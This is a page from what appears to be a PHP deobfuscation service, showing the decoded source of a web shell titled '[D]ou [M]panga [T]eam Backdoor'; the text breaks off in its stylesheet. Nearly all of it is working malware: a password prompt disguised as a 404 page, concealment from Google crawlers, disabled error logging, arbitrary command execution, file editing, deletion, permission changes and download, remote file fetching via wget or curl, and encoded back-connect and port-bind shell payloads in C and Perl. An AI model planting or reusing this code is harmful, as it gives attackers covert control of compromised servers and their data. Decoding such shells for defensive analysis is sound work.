Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $auth_pass = "0097d3e5f126cb1a8f3df7d5ffdba645"; @ini_set('output_buffering',0); ..
Decoded Output download
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<link rel="SHORTCUT ICON" href="http://s13.postimg.org/ce61v3yrr/firefox01_02.png">
<link href='http://fonts.googleapis.com/css?family=Salsa' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Jura' rel='stylesheet' type='text/css'>
<title>404 Not Found!</title><center><br><br><br><br>
<form method=post><center>
<input type=password name=pass><input type=submit value=Enter >
</form></center><link rel="SHORTCUT ICON" href="http://s13.postimg.org/ce61v3yrr/firefox01_02.png">
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:red'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#00FF00><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:'><font color=red><b>NONE</b></font></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// Rename file or folder
if(isset($_POST['Rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@Rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['Chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@Chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['Chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@Chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// backconnect tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
// print useful info (head info)
$buff = "» Kernel Version : <b><span style='font-size:12px'>" . $system . "</b> | ";
$buff .= "» Server IP : <b>".$server_ip."</b><br />";
if($safemode) $buff .= "» Safemode : <span class=\"gaya\"><b>ON</b></span>";
else $buff .= "» Safemode : <span class=\"gaya\"><b>OFF</b></span> | ";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()." | <b><a href='http://www.google.com/search?q=".urlencode(@php_uname())."' title='Search Kernel Version' target='_blank'><font style='color:white'>[ Search System Kernel ]</font></b></a><br>";
$buff .= "» Directory Server : <font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<center> <Form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"CMDbox\" style=\"width:98%;\">
<td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"CMD\" class=\"inputz\" type=\"Text\" name=\"CMD\" style=\"width:400px;\" value=\"\" />
<input class=\"inputzbut\" type=\"submit\" value=\"Execute !\" name=\"submitCMD\" style=\"width:80px;\" /></td>
</Form> <Form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<td><b>View File/Folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"Text\" Name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" />
<input class=\"inputzbut\" type=\"submit\" value=\"View !\" Name=\"submitCMD\" style=\"width:80px;\" /></td></tr> </center>
</Form></table><table class=\"explore\"> </center> <br> <tr>
<th style='width:350px;'> Name</th><th style='width:90px;'>Size</th><th style='width:250px;'>Owner:Group</th><th style='width:120px;'>Perms</th><th style='width:140px;'>Modified</th><th style='width:270px;'>Actions</th></tr>
";
if($tree > 2) For($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
Foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"Text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"Text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&Edit=".$pwd."newfile.php\">Newfile</a> | <a href=\"javascript:tukar('titik1','titik1_Form');\">New Folder</a></span>
<Form action=\"?\" method=\"get\" id=\"titik1_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"Text\" name=\"mkdir\" value=\"New Folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
</Form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:Image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"Text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"Text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&Edit=".$parent."newfile.php\">Newfile</a> | <a href=\"javascript:tukar('titik2','titik2_Form');\">New Folder</a></span>
<Form action=\"?\" method=\"get\" id=\"titik2_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"Text\" name=\"mkdir\" value=\"New Folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
</Form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:Image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<Form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"Text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($folder)."_Form','".clearspace($folder)."_link');\" />
</Form><td>DIR</td><td style=\"Text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_Form3');\">".get_perms($pwd.$folder)."</a>
<Form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_Form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"Text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Chmod_folder\" value=\"Chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_Form3');\" /></Form></center></td>
<td style=\"Text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_Form');\">Rename</a> | <a href=\"?y=$pwd&fDelete=".$pwd.$folder."\">Delete</a></td></tr>";
}
}
Foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:Image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<Form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"Text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_Form');\" />
</Form></td><td>".ukuran($full)."</td><td style=\"Text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_Form2');\">".get_perms($full)."</a>
<Form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_Form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"Text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Chmod\" value=\"Chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_Form2');\" /></Form></center></td>
<td style=\"Text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&Edit=$full\">Edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_Form');\">Rename</a> | <a href=\"?y=$pwd&Delete=$full\">Delete</a> | <a href=\"?y=$pwd&dl=$full\">Download</a> </td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size KB";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size MB";
}
}
}
else return "???";
}
function exe($CMD){
if(function_exists('system')) {
@ob_Start();
@system($CMD);
$buff = @ob_get_contents();
@ob_End_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($CMD,$results);
$buff = "";
Foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_Start();
@passthru($CMD);
$buff = @ob_get_contents();
@ob_End_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($CMD);
return $buff;
}
}
function tulis($file,$Text){
$Textz = gzinflate(base64_deCode($Text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$Textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @Fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function Download($CMD,$URL){
$namafile = basename($URL);
switch($CMD) {
case 'WWget': exe(which('Wget')." ".$URL." -O ".$namafile);break;
case 'WLynx': exe(which('Lynx')." -source ".$URL." > ".$namafile);break;
case 'WFread' : ambil($wURL,$namafile);break;
case 'WFetch' : exe(which('Fetch')." -o ".$namafile." -p ".$URL);break;
case 'WLinks' : exe(which('Links')." -source ".$URL." > ".$namafile);break;
case 'Wget' : exe(which('GET')." ".$URL." > ".$namafile);break;
case 'wcURL' : exe(which('cURL')." ".$URL." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($Text){
return str_replace(" ","_",$Text);
}
?>
<link rel="SHORTCUT ICON" href="http://s13.postimg.org/ce61v3yrr/firefox01_02.png">
<html>
<link href='http://fonts.googleapis.com/css?family=Salsa' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Mechfire' rel='stylesheet' type='text/css'>
<head><title>[D]ou [M]panga [T]eam Backdoor</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="Text/css">
body{
background:transparant;
}
a {
Text-decoration:none;
}
a:hover{
border-bottom:1px solid white;
}
*{
font-size: 12px;
font-family: 'Salsa';
color:white;
}
#menu{
background:transparant;
}
#menu a{
padding:4px 18px;
margin:0;
background:#2219B2;
text-decoration:none;
letter-spacing:1px; -moz-border-radius: 10px; -moz-box-shadow:0px 0px 15px #2219B2; -webkit-box-shadow:0px 0px 15px #2219B2 ;
-moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px #2219B2; -webkit-box-shadow:0px 0px 10px #2219B2 ;
}
#menu a:hover{
background:#2219B2; -moz-border-radius: 12px; -moz-box-shadow:0px 0px 12px #2219B2; -webkit-box-shadow:0px 0px 12px #2219B2 ;
border-bottom:2px solid #333333;-moz-border-radius: 10px; -moz-box-shadow:0px 0px 15px #2219B2; -webkit-box-shadow:0px 0px 15px #2219B2 ;
border-top:2px solid #333333; -moz-border-radius: 10px; -moz-box-shadow:0px 0px 15px #2219B2; -webkit-box-shadow:0px 0px 15px #2219B2 ;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
font-size: 12px;
font-family: 'Salsa';
color:white;
}
.main {
width:100%;
border: 1px solid #333333; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 12px #222222; -webkit-box-shadow:0px 0px 12px #222222;
}
.gaya {
color: #2219B2;
}
.inputz{
background:transparent;
color:#000;
border:0;
padding:2px;
border: 1px solid #444444;
font-family: 'Salsa';
color:white;
}.inptz{
background:black;
color:#000;
border:0;
padding:2px;
border: 1px solid #444444;
font-family: 'Salsa';
color:white;
}
.inputzbut{
background:transparent;
color:#000;
font-color: white;
margin:0 3px;
border: 1px solid #444444;
font-family: 'Salsa';
color:white;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.output {
background:transparent;
color:#000;
font-color: white;
margin:0 3px;
border: 1px solid #444444;
font-family: 'Salsa';
color:white;
margin:auto;
width:100%;
height:400px;
padding:0 2px;
}
.CMDbox{
width:100%;
}
.head_info{
padding: 0 6px;
}
.jaya{ font-family: ;
}
.cahyo{
font-size:30px;
padding:0;
color:#444444;
}
.cahyo_tbl{
Text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#2219B2;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
Text-align:center;
font-size: 12px;
padding:0;
margin:30px 0 0 0;
background:white;
padding:4px 0;
}
.explore{
